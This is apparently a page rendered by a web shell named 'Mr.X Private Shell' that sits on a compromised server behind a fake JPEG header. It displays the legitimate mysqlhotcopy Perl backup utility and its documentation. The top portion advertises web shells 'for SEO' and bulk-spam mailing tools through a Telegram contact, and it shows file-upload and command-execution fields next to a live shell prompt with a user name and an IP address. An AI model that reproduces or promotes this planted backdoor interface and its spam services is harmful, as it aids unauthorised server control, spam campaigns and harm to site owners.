����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

pegaorg@216.73.216.251: ~ $
#!/usr/bin/perl

# Copyright (c) 2000, 2017, Oracle and/or its affiliates.
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU Library General Public
# License as published by the Free Software Foundation; version 2
# of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# Library General Public License for more details.
#
# You should have received a copy of the GNU Library General Public
# License along with this library; if not, write to the Free
# Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
# MA 02110-1335  USA

use strict;
use Getopt::Long;
use Data::Dumper;
use File::Basename;
use File::Path;
use DBI;
use Sys::Hostname;
use File::Copy;
use File::Temp qw(tempfile);

=head1 NAME

mysqlhotcopy - fast on-line hot-backup utility for local MySQL databases and tables

=head1 SYNOPSIS

  mysqlhotcopy db_name

  mysqlhotcopy --suffix=_copy db_name_1 ... db_name_n

  mysqlhotcopy db_name_1 ... db_name_n /path/to/new_directory

  mysqlhotcopy db_name./regex/

  mysqlhotcopy db_name./^\(foo\|bar\)/

  mysqlhotcopy db_name./~regex/

  mysqlhotcopy db_name_1./regex_1/ db_name_1./regex_2/ ... db_name_n./regex_n/ /path/to/new_directory

  mysqlhotcopy --method='scp -Bq -i /usr/home/foo/.ssh/identity' --user=root --password=secretpassword \
         db_1./^nice_table/ user@some.system.dom:~/path/to/new_directory

WARNING: THIS PROGRAM IS STILL IN BETA. Comments/patches welcome.

=cut

# Documentation continued at end of file

# fix CORE::GLOBAL::die to return a predictable exit code
BEGIN { *CORE::GLOBAL::die= sub { warn @_; exit 1; }; }

my $VERSION = "1.23";

my $opt_tmpdir = $ENV{TMPDIR} || "/tmp";

my $OPTIONS = <<"_OPTIONS";

$0 Ver $VERSION

Usage: $0 db_name[./table_regex/] [new_db_name | directory]

  -?, --help           display this help-screen and exit
  -u, --user=#         user for database login if not current user
  -p, --password=#     password to use when connecting to server (if not set
                       in my.cnf, which is recommended)
  -h, --host=#         hostname for local server when connecting over TCP/IP
  -P, --port=#         port to use when connecting to local server with TCP/IP
  -S, --socket=#       socket to use when connecting to local server
      --old_server     connect to old MySQL-server (before v5.5) which
                       doesn't have FLUSH TABLES WITH READ LOCK fully implemented.

  --allowold           don\'t abort if target dir already exists (rename it _old)
  --addtodest          don\'t rename target dir if it exists, just add files to it
  --keepold            don\'t delete previous (now renamed) target when done
  --noindices          don\'t include full index files in copy
  --method=#           method for copy (only "cp" currently supported)

  -q, --quiet          be silent except for errors
  --debug              enable debug
  -n, --dryrun         report actions without doing them

  --regexp=#           copy all databases with names matching regexp
  --suffix=#           suffix for names of copied databases
  --checkpoint=#       insert checkpoint entry into specified db.table
  --flushlog           flush logs once all tables are locked 
  --resetmaster        reset the binlog once all tables are locked
  --resetslave         reset the master.info once all tables are locked
  --tmpdir=#	       temporary directory (instead of $opt_tmpdir)
  --record_log_pos=#   record slave and master status in specified db.table
  --chroot=#           base directory of chroot jail in which mysqld operates

  Try \'perldoc $0\' for more complete documentation
_OPTIONS

sub usage {
    die @_, $OPTIONS;
}

# Do not initialize user or password options; that way, any user/password
# options specified in option files will be used.  If no values are specified
# at all, the defaults will be used (login name, no password).

my %opt = (
    noindices	=> 0,
    allowold	=> 0,	# for safety
    keepold	=> 0,
    method	=> "cp",
    flushlog    => 0,
);
Getopt::Long::Configure(qw(no_ignore_case)); # disambiguate -p and -P
GetOptions( \%opt,
    "help",
    "host|h=s",
    "user|u=s",
    "password|p=s",
    "port|P=s",
    "socket|S=s",
    "old_server",
    "allowold!",
    "keepold!",
    "addtodest!",
    "noindices!",
    "method=s",
    "debug",
    "quiet|q",
    "mv!",
    "regexp=s",
    "suffix=s",
    "checkpoint=s",
    "record_log_pos=s",
    "flushlog",
    "resetmaster",
    "resetslave",
    "tmpdir|t=s",
    "dryrun|n",
    "chroot=s",
) or usage("Invalid option");

# @db_desc
# ==========
# a list of hash-refs containing:
#
#   'src'     - name of the db to copy
#   't_regex' - regex describing tables in src
#   'target'  - destination directory of the copy
#   'tables'  - array-ref to list of tables in the db
#   'files'   - array-ref to list of files to be copied
#   'index'   - array-ref to list of indexes to be copied
#

my @db_desc = ();
my $tgt_name = undef;

usage("") if ($opt{help});

if ( $opt{regexp} || $opt{suffix} || @ARGV > 2 ) {
    $tgt_name   = pop @ARGV unless ( exists $opt{suffix} );
    @db_desc = map { s{^([^\.]+)\./(.+)/$}{$1}; { 'src' => $_, 't_regex' => ( $2 ? $2 : '.*' ) } } @ARGV;
}
else {
    usage("Database name to hotcopy not specified") unless ( @ARGV );

    $ARGV[0] =~ s{^([^\.]+)\./(.+)/$}{$1};
    @db_desc = ( { 'src' => $ARGV[0], 't_regex' => ( $2 ? $2 : '.*' ) } );

    if ( @ARGV == 2 ) {
	$tgt_name   = $ARGV[1];
    }
    else {
	$opt{suffix} = "_copy";
    }
}

my %mysqld_vars;
my $start_time = time;
$opt_tmpdir= $opt{tmpdir} if $opt{tmpdir};
$0 = $1 if $0 =~ m:/([^/]+)$:;
$opt{quiet} = 0 if $opt{debug};
$opt{allowold} = 1 if $opt{keepold};

# --- connect to the database ---
my $dsn;
$dsn  = ";host=" . (defined($opt{host}) ? $opt{host} : "localhost");
$dsn .= ";port=$opt{port}" if $opt{port};
$dsn .= ";mariadb_socket=$opt{socket}" if $opt{socket};

# use mariadb_read_default_group=mysqlhotcopy so that [client] and
# [mysqlhotcopy] groups will be read from standard options files.

my $dbh = DBI->connect("DBI:MariaDB:$dsn;mariadb_read_default_group=mysqlhotcopy",
                        $opt{user}, $opt{password},
{
    RaiseError => 1,
    PrintError => 0,
    AutoCommit => 1,
});

# --- check that checkpoint table exists if specified ---
if ( $opt{checkpoint} ) {
    $opt{checkpoint} = quote_names( $opt{checkpoint} );
    eval { $dbh->do( qq{ select time_stamp, src, dest, msg 
			 from $opt{checkpoint} where 1 != 1} );
       };

    die "Error accessing Checkpoint table ($opt{checkpoint}): $@"
      if ( $@ );
}

# --- check that log_pos table exists if specified ---
if ( $opt{record_log_pos} ) {
    $opt{record_log_pos} = quote_names( $opt{record_log_pos} );

    eval { $dbh->do( qq{ select host, time_stamp, log_file, log_pos, master_host, master_log_file, master_log_pos
			 from $opt{record_log_pos} where 1 != 1} );
       };

    die "Error accessing log_pos table ($opt{record_log_pos}): $@"
      if ( $@ );
}

# --- get variables from database ---
my $sth_vars = $dbh->prepare("show variables like 'datadir'");
$sth_vars->execute;
while ( my ($var,$value) = $sth_vars->fetchrow_array ) {
    $mysqld_vars{ $var } = $value;
}
my $datadir = $mysqld_vars{'datadir'}
    || die "datadir not in mysqld variables";
    $datadir= $opt{chroot}.$datadir if ($opt{chroot});
$datadir =~ s:/$::;


# --- get target path ---
my ($tgt_dirname, $to_other_database);
$to_other_database=0;
if (defined($tgt_name) && $tgt_name =~ m:^\w+$: && @db_desc <= 1)
{
    $tgt_dirname = "$datadir/$tgt_name";
    $to_other_database=1;
}
elsif (defined($tgt_name) && ($tgt_name =~ m:/: || $tgt_name eq '.')) {
    $tgt_dirname = $tgt_name;
}
elsif ( $opt{suffix} ) {
    print "Using copy suffix '$opt{suffix}'\n" unless $opt{quiet};
}
else
{
  $tgt_name="" if (!defined($tgt_name));
  die "Target '$tgt_name' doesn't look like a database name or directory path.\n";
}

# --- resolve database names from regexp ---
if ( defined $opt{regexp} ) {
    my $t_regex = '.*';
    if ( $opt{regexp} =~ s{^/(.+)/\./(.+)/$}{$1} ) {
        $t_regex = $2;
    }

    my $sth_dbs = $dbh->prepare("show databases");
    $sth_dbs->execute;
    while ( my ($db_name) = $sth_dbs->fetchrow_array ) {
	next if $db_name =~ m/^information_schema$/i;
	push @db_desc, { 'src' => $db_name, 't_regex' => $t_regex } if ( $db_name =~ m/$opt{regexp}/o );
    }
}

# --- get list of tables and views to hotcopy ---

my $hc_locks = "";
my $hc_tables = "";
my $hc_base_tables = "";
my $hc_views = "";
my $num_base_tables = 0;
my $num_views = 0;
my $num_tables = 0;
my $num_files = 0;

foreach my $rdb ( @db_desc ) {
    my $db = $rdb->{src};
    my @dbh_base_tables = get_list_of_tables( $db );
    my @dbh_views = get_list_of_views( $db );

    ## filter out certain system non-lockable tables. 
    ## keep in sync with mysqldump.
    if ($db =~ m/^mysql$/i)
    {
      @dbh_base_tables = grep 
        { !/^(apply_status|schema|general_log|slow_log|transaction_registry)$/ } @dbh_base_tables
    }

    ## generate regex for tables/files
    my $t_regex;
    my $negated;
    if ($rdb->{t_regex}) {
        $t_regex = $rdb->{t_regex};        ## assign temporary regex
        $negated = $t_regex =~ s/^~//;     ## note and remove negation operator

        $t_regex = qr/$t_regex/;           ## make regex string from
                                           ## user regex

        ## filter (out) tables specified in t_regex
        print "Filtering tables with '$t_regex'\n" if $opt{debug};
        @dbh_base_tables = ( $negated 
                             ? grep { $_ !~ $t_regex } @dbh_base_tables
                             : grep { $_ =~ $t_regex } @dbh_base_tables );

        ## filter (out) views specified in t_regex
        print "Filtering tables with '$t_regex'\n" if $opt{debug};
        @dbh_views = ( $negated 
                       ? grep { $_ !~ $t_regex } @dbh_views
                       : grep { $_ =~ $t_regex } @dbh_views );
    }

    ## Now concatenate the base table and view arrays.
    my @dbh_tables = (@dbh_base_tables, @dbh_views);

    ## get list of files to copy
    my $db_dir = "$datadir/$db";
    opendir(DBDIR, $db_dir ) 
      or die "Cannot open dir '$db_dir': $!";

    my %db_files;

    while ( defined( my $name = readdir DBDIR ) ) {
        $db_files{$name} = $1 if ( $name =~ /(.+)\.\w+$/ );
    }
    closedir( DBDIR );

    unless( keys %db_files ) {
	warn "'$db' is an empty database\n";
    }

    ## filter (out) files specified in t_regex
    my @db_files;
    if ($rdb->{t_regex}) {
        @db_files = ($negated
                     ? grep { $db_files{$_} !~ $t_regex } keys %db_files
                     : grep { $db_files{$_} =~ $t_regex } keys %db_files );
    }
    else {
        @db_files = keys %db_files;
    }

    @db_files = sort @db_files;

    my @index_files=();

    ## remove indices unless we're told to keep them
    if ($opt{noindices}) {
        @index_files= grep { /\.(ISM|MYI)$/ } @db_files;
	@db_files = grep { not /\.(ISM|MYI)$/ } @db_files;
    }

    $rdb->{files}  = [ @db_files ];
    $rdb->{index}  = [ @index_files ];
    my @hc_base_tables = map { quote_names("$db.$_") } @dbh_base_tables;
    my @hc_views = map { quote_names("$db.$_") } @dbh_views;
    
    my @hc_tables = (@hc_base_tables, @hc_views);
    $rdb->{tables} = [ @hc_tables ];

    $hc_locks .= ", "  if ( length $hc_locks && @hc_tables );
    $hc_locks .= join ", ", map { "$_ READ" } @hc_tables;

    $hc_base_tables .= ", "  if ( length $hc_base_tables && @hc_base_tables );
    $hc_base_tables .= join ", ", @hc_base_tables;
    $hc_views .= ", "  if ( length $hc_views && @hc_views );
    $hc_views .= join " READ, ", @hc_views;

    @hc_tables = (@hc_base_tables, @hc_views);

    $num_base_tables += scalar @hc_base_tables;
    $num_views += scalar @hc_views;
    $num_tables += $num_base_tables + $num_views;
    $num_files  += scalar @{$rdb->{files}};
}

# --- resolve targets for copies ---

if (defined($tgt_name) && length $tgt_name ) {
    # explicit destination directory specified

    # GNU `cp -r` error message
    die "copying multiple databases, but last argument ($tgt_dirname) is not a directory\n"
      if ( @db_desc > 1 && !(-e $tgt_dirname && -d $tgt_dirname ) );

    if ($to_other_database)
    {
      foreach my $rdb ( @db_desc ) {
	$rdb->{target} = "$tgt_dirname";
      }
    }
    elsif ($opt{method} =~ /^scp\b/) 
    {   # we have to trust scp to hit the target
	foreach my $rdb ( @db_desc ) {
	    $rdb->{target} = "$tgt_dirname/$rdb->{src}";
	}
    }
    else
    {
      die "Last argument ($tgt_dirname) is not a directory\n"
	if (!(-e $tgt_dirname && -d $tgt_dirname ) );
      foreach my $rdb ( @db_desc ) {
	$rdb->{target} = "$tgt_dirname/$rdb->{src}";
      }
    }
  }
else {
  die "Error: expected \$opt{suffix} to exist" unless ( exists $opt{suffix} );

  foreach my $rdb ( @db_desc ) {
    $rdb->{target} = "$datadir/$rdb->{src}$opt{suffix}";
  }
}

print Dumper( \@db_desc ) if ( $opt{debug} );

# --- bail out if all specified databases are empty ---

die "No tables to hot-copy" unless ( length $hc_locks );

# --- create target directories if we are using 'cp' ---

my @existing = ();

if ($opt{method} =~ /^cp\b/)
{
  foreach my $rdb ( @db_desc ) {
    push @existing, $rdb->{target} if ( -d  $rdb->{target} );
  }

  if ( @existing && !($opt{allowold} || $opt{addtodest}) )
  {
    $dbh->disconnect();
    die "Can't hotcopy to '", join( "','", @existing ), "' because directory\nalready exist and the --allowold or --addtodest options were not given.\n"
  }
}

retire_directory( @existing ) if @existing && !$opt{addtodest};

foreach my $rdb ( @db_desc ) {
    my $tgt_dirpath = "$rdb->{target}";
    # Remove trailing slashes (needed for Mac OS X)
    substr($tgt_dirpath, 1) =~ s|/+$||;
    if ( $opt{dryrun} ) {
        print "mkdir $tgt_dirpath, 0750\n";
    }
    elsif ($opt{method} =~ /^scp\b/) {
        ## assume it's there?
        ## ...
    }
    else {
        mkdir($tgt_dirpath, 0750) or die "Can't create '$tgt_dirpath': $!\n"
            unless -d $tgt_dirpath;
        my @f_info= stat "$datadir/$rdb->{src}";
        chown $f_info[4], $f_info[5], $tgt_dirpath;
    }
}

##############################
# --- PERFORM THE HOT-COPY ---
#
# Note that we try to keep the time between the LOCK and the UNLOCK
# as short as possible, and only start when we know that we should
# be able to complete without error.

# read lock all the tables we'll be copying
# in order to get a consistent snapshot of the database

if ( $opt{checkpoint} || $opt{record_log_pos} ) {
  # convert existing READ lock on checkpoint and/or log_pos table into WRITE lock
  foreach my $table ( grep { defined } ( $opt{checkpoint}, $opt{record_log_pos} ) ) {
    $hc_locks .= ", $table WRITE" 
	unless ( $hc_locks =~ s/$table\s+READ/$table WRITE/ );
  }
}

my $hc_started = time;	# count from time lock is granted

if ( $opt{dryrun} ) {
    if ( $opt{old_server} ) {
        print "LOCK TABLES $hc_locks\n";
        print "FLUSH TABLES /*!32323 $hc_tables */\n";
    }
    else {
        # Lock base tables and views separately.
        print "FLUSH TABLES $hc_base_tables WITH READ LOCK\n"
          if ( $hc_base_tables );
        print "LOCK TABLES $hc_views READ\n" if ( $hc_views );
    }
    
    print "FLUSH LOGS\n" if ( $opt{flushlog} );
    print "RESET MASTER\n" if ( $opt{resetmaster} );
    print "RESET SLAVE\n" if ( $opt{resetslave} );
}
else {
    my $start = time;
    if ( $opt{old_server} ) {
        $dbh->do("LOCK TABLES $hc_locks");
        printf "Locked $num_tables tables in %d seconds.\n", time-$start unless $opt{quiet};
        $hc_started = time;	# count from time lock is granted

        # flush tables to make on-disk copy up to date
        $start = time;
        $dbh->do("FLUSH TABLES /*!32323 $hc_tables */");
        printf "Flushed tables ($hc_tables) in %d seconds.\n", time-$start unless $opt{quiet};
    }
    else {
        # Lock base tables and views separately, as 'FLUSH TABLES <tbl_name>
        # ... WITH READ LOCK' (introduced in 5.5) would fail for views.
        # Also, flush tables to make on-disk copy up to date
        $dbh->do("FLUSH TABLES $hc_base_tables WITH READ LOCK")
          if ( $hc_base_tables );
        printf "Flushed $num_base_tables tables with read lock ($hc_base_tables) in %d seconds.\n",
               time-$start unless $opt{quiet};

        $start = time;
        $dbh->do("LOCK TABLES $hc_views READ") if ( $hc_views );
        printf "Locked $num_views views ($hc_views) in %d seconds.\n",
               time-$start unless $opt{quiet};

        $hc_started = time;	# count from time lock is granted
    }
    $dbh->do( "FLUSH LOGS" ) if ( $opt{flushlog} );
    $dbh->do( "RESET MASTER" ) if ( $opt{resetmaster} );
    $dbh->do( "RESET SLAVE" ) if ( $opt{resetslave} );

    if ( $opt{record_log_pos} ) {
	record_log_pos( $dbh, $opt{record_log_pos} );
	$dbh->do("FLUSH TABLES /*!32323 $hc_tables */");
    }
}

my @failed = ();

foreach my $rdb ( @db_desc )
{
  my @files = map { "$datadir/$rdb->{src}/$_" } @{$rdb->{files}};
  next unless @files;
  
  eval { copy_files($opt{method}, \@files, $rdb->{target}); };
  push @failed, "$rdb->{src} -> $rdb->{target} failed: $@"
    if ( $@ );
  
  @files = @{$rdb->{index}};
  if ($rdb->{index})
  {
    copy_index($opt{method}, \@files,
	       "$datadir/$rdb->{src}", $rdb->{target} );
  }
  
  if ( $opt{checkpoint} ) {
    my $msg = ( $@ ) ? "Failed: $@" : "Succeeded";
    
    eval {
      $dbh->do( qq{ insert into $opt{checkpoint} (src, dest, msg) 
		      VALUES ( '$rdb->{src}', '$rdb->{target}', '$msg' )
		    } ); 
    };
    
    if ( $@ ) {
      warn "Failed to update checkpoint table: $@\n";
    }
  }
}

if ( $opt{dryrun} ) {
    print "UNLOCK TABLES\n";
    if ( @existing && !$opt{keepold} ) {
	my @oldies = map { $_ . '_old' } @existing;
	print "rm -rf @oldies\n" 
    }
    $dbh->disconnect();
    exit(0);
}
else {
    $dbh->do("UNLOCK TABLES");
}

my $hc_dur = time - $hc_started;
printf "Unlocked tables.\n" unless $opt{quiet};

#
# --- HOT-COPY COMPLETE ---
###########################

$dbh->disconnect;

if ( @failed ) {
    # hotcopy failed - cleanup
    # delete any @targets 
    # rename _old copy back to original

    my @targets = ();
    foreach my $rdb ( @db_desc ) {
        push @targets, $rdb->{target} if ( -d  $rdb->{target} );
    }
    print "Deleting @targets \n" if $opt{debug};

    print "Deleting @targets \n" if $opt{debug};
    rmtree([@targets]);
    if (@existing) {
	print "Restoring @existing from back-up\n" if $opt{debug};
        foreach my $dir ( @existing ) {
	    rename("${dir}_old", $dir )
	      or warn "Can't rename ${dir}_old to $dir: $!\n";
	}
    }

    die join( "\n", @failed );
}
else {
    # hotcopy worked
    # delete _old unless $opt{keepold}

    if ( @existing && !$opt{keepold} ) {
	my @oldies = map { $_ . '_old' } @existing;
	print "Deleting previous copy in @oldies\n" if $opt{debug};
	rmtree([@oldies]);
    }

    printf "$0 copied %d tables (%d files) in %d second%s (%d seconds overall).\n",
	    $num_tables, $num_files,
	    $hc_dur, ($hc_dur==1)?"":"s", time - $start_time
	unless $opt{quiet};
}

exit 0;


# ---

sub copy_files {
    my ($method, $files, $target) = @_;
    my @cmd;
    print "Copying ".@$files." files...\n" unless $opt{quiet};

    if ($method =~ /^s?cp\b/)  # cp or scp with optional flags
    {
	my $cp = $method;
	# add option to preserve mod time etc of copied files
	# not critical, but nice to have
	$cp.= " -p" if $^O =~ m/^(solaris|linux|freebsd|darwin)$/;

	# add recursive option for scp
	$cp.= " -r" if $^O =~ /m^(solaris|linux|freebsd|darwin)$/ && $method =~ /^scp\b/;

	# perform the actual copy
	safe_system( $cp, (map { "'$_'" } @$files), "'$target'" );
    }
    else
    {
	die "Can't use unsupported method '$method'\n";
    }
}

#
# Copy only the header of the index file
#

sub copy_index
{
  my ($method, $files, $source, $target) = @_;
  
  print "Copying indices for ".@$files." files...\n" unless $opt{quiet};  
  foreach my $file (@$files)
  {
    my $from="$source/$file";
    my $to="$target/$file";
    my $buff;
    open(INPUT, "<$from") || die "Can't open file $from: $!\n";
    binmode(INPUT, ":raw");
    my $length=read INPUT, $buff, 2048;
    die "Can't read index header from $from\n" if ($length < 1024);
    close INPUT;
    
    if ( $opt{dryrun} )
    {
      print "$opt{method}-header $from $to\n";
    }
    elsif ($opt{method} eq 'cp')
    {
      open(OUTPUT,">$to")   || die "Can\'t create file $to: $!\n";
      if (syswrite(OUTPUT,$buff) != length($buff))
      {
	die "Error when writing data to $to: $!\n";
      }
      close OUTPUT	   || die "Error on close of $to: $!\n";
    }
    elsif ($opt{method} =~ /^scp\b/)
    {
      my ($fh, $tmp)= tempfile('mysqlhotcopy-XXXXXX', DIR => $opt_tmpdir) or
	die "Can\'t create/open file in $opt_tmpdir\n";
      if (syswrite($fh,$buff) != length($buff))
      {
	die "Error when writing data to $tmp: $!\n";
      }
      close $fh || die "Error on close of $tmp: $!\n";
      safe_system("$opt{method} $tmp $to");
      unlink $tmp;
    }
    else
    {
      die "Can't use unsupported method '$opt{method}'\n";
    }
  }
}


sub safe_system {
  my @sources= @_;
  my $method= shift @sources;
  my $target= pop @sources;
  ## @sources = list of source file names

  ## We have to deal with very long command lines, otherwise they may generate 
  ## "Argument list too long".
  ## With 10000 tables the command line can be around 1MB, much more than 128kB
  ## which is the common limit on Linux (can be read from
  ## /usr/src/linux/include/linux/binfmts.h
  ## see http://www.linuxjournal.com/article.php?sid=6060).
 
  my $chunk_limit= 100 * 1024; # 100 kB
  my @chunk= (); 
  my $chunk_length= 0;
  foreach (@sources) {
      push @chunk, $_;
      $chunk_length+= length($_);
      if ($chunk_length > $chunk_limit) {
          safe_simple_system($method, @chunk, $target);
          @chunk=();
          $chunk_length= 0;
      }
  }
  if ($chunk_length > 0) { # do not forget last small chunk
      safe_simple_system($method, @chunk, $target); 
  }
}

sub safe_simple_system {
    my @cmd= @_;

    if ( $opt{dryrun} ) {
        print "@cmd\n";
    }
    else {
        ## for some reason system fails but backticks works ok for scp...
        print "Executing '@cmd'\n" if $opt{debug};
        my $cp_status = system "@cmd > /dev/null";
        if ($cp_status != 0) {
            warn "Executing command failed ($cp_status). Trying backtick execution...\n";
            ## try something else
            `@cmd` || die "Error: @cmd failed ($?) while copying files.\n";
        }
    }
}

sub retire_directory {
    my ( @dir ) = @_;

    foreach my $dir ( @dir ) {
	my $tgt_oldpath = $dir . '_old';
	if ( $opt{dryrun} ) {
	    print "rmtree $tgt_oldpath\n" if ( -d $tgt_oldpath );
	    print "rename $dir, $tgt_oldpath\n";
	    next;
	}

	if ( -d $tgt_oldpath ) {
	    print "Deleting previous 'old' hotcopy directory ('$tgt_oldpath')\n" unless $opt{quiet};
	    rmtree([$tgt_oldpath],0,1);
	}
	rename($dir, $tgt_oldpath)
	  or die "Can't rename $dir=>$tgt_oldpath: $!\n";
	print "Existing hotcopy directory renamed to '$tgt_oldpath'\n" unless $opt{quiet};
    }
}

sub record_log_pos {
    my ( $dbh, $table_name ) = @_;

    eval {
	my ($file,$position) = get_row( $dbh, "show master status" );
	die "master status is undefined" if !defined $file || !defined $position;
	
	my $row_hash = get_row_hash( $dbh, "show slave status" );
	my ($master_host, $log_file, $log_pos ); 
	if ( $dbh->{mariadb_serverinfo} =~ /^3\.23/ ) {
	    ($master_host, $log_file, $log_pos ) 
	      = @{$row_hash}{ qw / Master_Host Log_File Pos / };
	} else {
	    ($master_host, $log_file, $log_pos ) 
	      = @{$row_hash}{ qw / Master_Host Relay_Master_Log_File Exec_Master_Log_Pos / };
	}
	my $hostname = hostname();
	
	$dbh->do( qq{ replace into $table_name 
			  set host=?, log_file=?, log_pos=?, 
                          master_host=?, master_log_file=?, master_log_pos=? }, 
		  undef, 
		  $hostname, $file, $position, 
		  $master_host, $log_file, $log_pos  );
	
    };
    
    if ( $@ ) {
	warn "Failed to store master position: $@\n";
    }
}

sub get_row {
  my ( $dbh, $sql ) = @_;

  my $sth = $dbh->prepare($sql);
  $sth->execute;
  return $sth->fetchrow_array();
}

sub get_row_hash {
  my ( $dbh, $sql ) = @_;

  my $sth = $dbh->prepare($sql);
  $sth->execute;
  return $sth->fetchrow_hashref();
}

sub get_list_of_tables {
    my ( $db ) = @_;

    my $tables =
        eval {
            $dbh->selectall_arrayref('SHOW FULL TABLES FROM ' .
                                     $dbh->quote_identifier($db) .
                                     ' WHERE Table_type = \'BASE TABLE\'')
        } || [];
    warn "Unable to retrieve list of tables in $db: $@" if $@;

    return (map { $_->[0] } @$tables);
}

sub get_list_of_views {
    my ( $db ) = @_;

    my $views =
        eval {
            $dbh->selectall_arrayref('SHOW FULL TABLES FROM ' .
                                     $dbh->quote_identifier($db) .
                                     ' WHERE Table_type = \'VIEW\'')
        } || [];
    warn "Unable to retrieve list of views in $db: $@" if $@;

    return (map { $_->[0] } @$views);
}

sub quote_names {
  my ( $name ) = @_;
  # given a db.table name, add quotes

  my ($db, $table, @cruft) = split( /\./, $name );
  die "Invalid db.table name '$name'" if (@cruft || !defined $db || !defined $table );

  # Earlier versions of DBD return table name non-quoted,
  # such as DBD-2.1012 and the newer ones, such as DBD-2.9002
  # returns it quoted. Let's have a support for both.
  $table=~ s/\`//g;
  return "`$db`.`$table`";
}

__END__

=head1 DESCRIPTION

mysqlhotcopy is designed to make stable copies of live MySQL databases.

Here "live" means that the database server is running and the database
may be in active use. And "stable" means that the copy will not have
any corruptions that could occur if the table files were simply copied
without first being locked and flushed from within the server.

=head1 OPTIONS

=over 4

=item --checkpoint checkpoint-table

As each database is copied, an entry is written to the specified
checkpoint-table.  This has the happy side-effect of updating the
MySQL update-log (if it is switched on) giving a good indication of
where roll-forward should begin for backup+rollforward schemes.

The name of the checkpoint table should be supplied in database.table format.
The checkpoint-table must contain at least the following fields:

=over 4

  time_stamp timestamp not null
  src varchar(32)
  dest varchar(60)
  msg varchar(255)

=back

=item --record_log_pos log-pos-table

Just before the database files are copied, update the record in the
log-pos-table from the values returned from "show master status" and
"show slave status". The master status values are stored in the
log_file and log_pos columns, and establish the position in the binary
logs that any slaves of this host should adopt if initialised from
this dump.  The slave status values are stored in master_host,
master_log_file, and master_log_pos, corresponding to the coordinates
of the next to the last event the slave has executed. The slave or its
siblings can connect to the master next time and request replication
starting from the recorded values. 

The name of the log-pos table should be supplied in database.table format.
A sample log-pos table definition:

=over 4

CREATE TABLE log_pos (
  host            varchar(60) NOT null,
  time_stamp      timestamp NOT NULL,
  log_file        varchar(32) default NULL,
  log_pos         int(11)     default NULL,
  master_host     varchar(60) NULL,
  master_log_file varchar(32) NULL,
  master_log_pos  int NULL,

  PRIMARY KEY  (host) 
);

=back


=item --suffix suffix

Each database is copied back into the originating datadir under
a new name. The new name is the original name with the suffix
appended. 

If only a single db_name is supplied and the --suffix flag is not
supplied, then "--suffix=_copy" is assumed.

=item --allowold

Move any existing version of the destination to a backup directory for
the duration of the copy. If the copy successfully completes, the backup 
directory is deleted - unless the --keepold flag is set.  If the copy fails,
the backup directory is restored.

The backup directory name is the original name with "_old" appended.
Any existing versions of the backup directory are deleted.

=item --keepold

Behaves as for the --allowold, with the additional feature 
of keeping the backup directory after the copy successfully completes.

=item --addtodest

Don't rename target directory if it already exists, just add the
copied files into it.

This is most useful when backing up a database with many large
tables and you don't want to have all the tables locked for the
whole duration.

In this situation, I<if> you are happy for groups of tables to be
backed up separately (and thus possibly not be logically consistent
with one another) then you can run mysqlhotcopy several times on
the same database each with different db_name./table_regex/.
All but the first should use the --addtodest option so the tables
all end up in the same directory.

=item --flushlog

Rotate the log files by executing "FLUSH LOGS" after all tables are
locked, and before they are copied.

=item --resetmaster

Reset the bin-log by executing "RESET MASTER" after all tables are
locked, and before they are copied. Useful if you are recovering a
slave in a replication setup.

=item --resetslave

Reset the master.info by executing "RESET SLAVE" after all tables are
locked, and before they are copied. Useful if you are recovering a
server in a mutual replication setup.

=item --regexp pattern

Copy all databases with names matching the pattern.

=item --regexp /pattern1/./pattern2/

Copy all tables with names matching pattern2 from all databases with
names matching pattern1. For example, to select all tables which
names begin with 'bar' from all databases which names end with 'foo':

   mysqlhotcopy --indices --method=cp --regexp /foo$/./^bar/

=item db_name./pattern/

Copy only tables matching pattern. Shell metacharacters ( (, ), |, !,
etc.) have to be escaped (e.g., \). For example, to select all tables
in database db1 whose names begin with 'foo' or 'bar':

    mysqlhotcopy --indices --method=cp db1./^\(foo\|bar\)/

=item db_name./~pattern/

Copy only tables not matching pattern. For example, to copy tables
that do not begin with foo nor bar:

    mysqlhotcopy --indices --method=cp db1./~^\(foo\|bar\)/

=item -?, --help

Display help-screen and exit.

=item -u, --user=#         

User for database login if not current user.

=item -p, --password=#     

Password to use when connecting to the server. Note that you are strongly
encouraged *not* to use this option as every user would be able to see the
password in the process list. Instead use the '[mysqlhotcopy]' section in
one of the config files, normally /etc/my.cnf or your personal ~/.my.cnf.
(See the chapter 'my.cnf Option Files' in the manual.)

=item -h, -h, --host=#

Hostname for local server when connecting over TCP/IP.  By specifying this
different from 'localhost' will trigger mysqlhotcopy to use TCP/IP connection.

=item -P, --port=#         

Port to use when connecting to MySQL server with TCP/IP.  This is only used
when using the --host option.

=item -S, --socket=#         

UNIX domain socket to use when connecting to local server.

=item --old_server

Use old server (pre v5.5) commands.

=item  --noindices          

Don\'t include index files in copy. Only up to the first 2048 bytes
are copied;  You can restore the indexes with isamchk -r or myisamchk -r
on the backup.

=item  --method=#           

Method for copy (only "cp" currently supported). Alpha support for
"scp" was added in November 2000. Your experience with the scp method
will vary with your ability to understand how scp works. 'man scp'
and 'man ssh' are your friends.

The destination directory _must exist_ on the target machine using the
scp method. --keepold and --allowold are meaningless with scp.
Liberal use of the --debug option will help you figure out what\'s
really going on when you do an scp.

Note that using scp will lock your tables for a _long_ time unless
your network connection is _fast_. If this is unacceptable to you,
use the 'cp' method to copy the tables to some temporary area and then
scp or rsync the files at your leisure.

=item -q, --quiet              

Be silent except for errors.

=item  --debug

Debug messages are displayed.

=item -n, --dryrun

